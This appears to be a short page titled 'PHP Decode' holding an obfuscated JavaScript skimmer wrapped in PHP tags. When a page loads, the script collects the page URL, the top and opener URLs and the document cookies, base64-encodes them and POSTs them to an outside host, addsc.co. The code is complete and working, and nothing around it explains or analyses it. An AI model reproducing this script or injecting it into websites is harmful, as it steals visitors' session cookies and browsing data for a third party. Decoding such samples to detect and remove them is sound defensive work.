PHP Decode

<?  var _0xd5b2=["readyState","loading","DOMContentLoaded","addEventListener","https://addsc.co/l","Location","","TopLocation","Cookies","Opener","More","IsGet","site","href","location","cookie","Error : ","message","opener","length","stringify","btoa","k=","XMLHttpRequest","Microsoft.XMLHTTP","POST","open","Content-type","application/x-www-form-urlencoded","setRequestHeader","send"];if(document[_0xd5b2[0]]=== _0xd5b2[1]){document[_0xd5b2[3]](_0xd5b2[2],doLink)}else {doLink()};function doLink(){var _0xb1c1x2=_0xd5b2[4];var _0xb1c1x3= new Object();_0xb1c1x3[_0xd5b2[5]]= _0xd5b2[6];_0xb1c1x3[_0xd5b2[7]]= _0xd5b2[6];_0xb1c1x3[_0xd5b2[8]]= _0xd5b2[6];_0xb1c1x3[_0xd5b2[9]]= _0xd5b2[6];_0xb1c1x3[_0xd5b2[10]]= _0xd5b2[6];_0xb1c1x3[_0xd5b2[11]]= _0xd5b2[6];_0xb1c1x3[_0xd5b2[12]]= _0xd5b2[6];try{_0xb1c1x3[_0xd5b2[5]]= document[_0xd5b2[14]][_0xd5b2[13]]}catch(e){};try{_0xb1c1x3[_0xd5b2[7]]= top[_0xd5b2[14]][_0xd5b2[13]]}catch(e){};try{_0xb1c1x3[_0xd5b2[8]]= document[_0xd5b2[15]]}catch(e){_0xb1c1x3[_0xd5b2[8]]= _0xd5b2[16]+ e[_0xd5b2[17]]};try{_0xb1c1x3[_0xd5b2[9]]= (window[_0xd5b2[18]]&& window[_0xd5b2[18]][_0xd5b2[14]][_0xd5b2[13]])?window[_0xd5b2[18]][_0xd5b2[14]][_0xd5b2[13]]:_0xd5b2[6]}catch(e){};if(_0xb1c1x3[_0xd5b2[5]][_0xd5b2[19]]!= 0|| _0xb1c1x3[_0xd5b2[7]][_0xd5b2[19]]!= 0|| _0xb1c1x3[_0xd5b2[9]][_0xd5b2[19]]!= 0){var _0xb1c1x4=window[_0xd5b2[21]](JSON[_0xd5b2[20]](_0xb1c1x3));var _0xb1c1x5=_0xd5b2[22]+ encodeURI(_0xb1c1x4);sendvalue(_0xb1c1x2,_0xb1c1x5)}}function sendvalue(_0xb1c1x2,_0xb1c1x5){var _0xb1c1x7;if(window[_0xd5b2[23]]){_0xb1c1x7= new XMLHttpRequest()}else {_0xb1c1x7= new ActiveXObject(_0xd5b2[24])};_0xb1c1x7[_0xd5b2[26]](_0xd5b2[25],_0xb1c1x2);_0xb1c1x7[_0xd5b2[29]](_0xd5b2[27],_0xd5b2[28]);_0xb1c1x7[_0xd5b2[30]](_0xb1c1x5)} ?>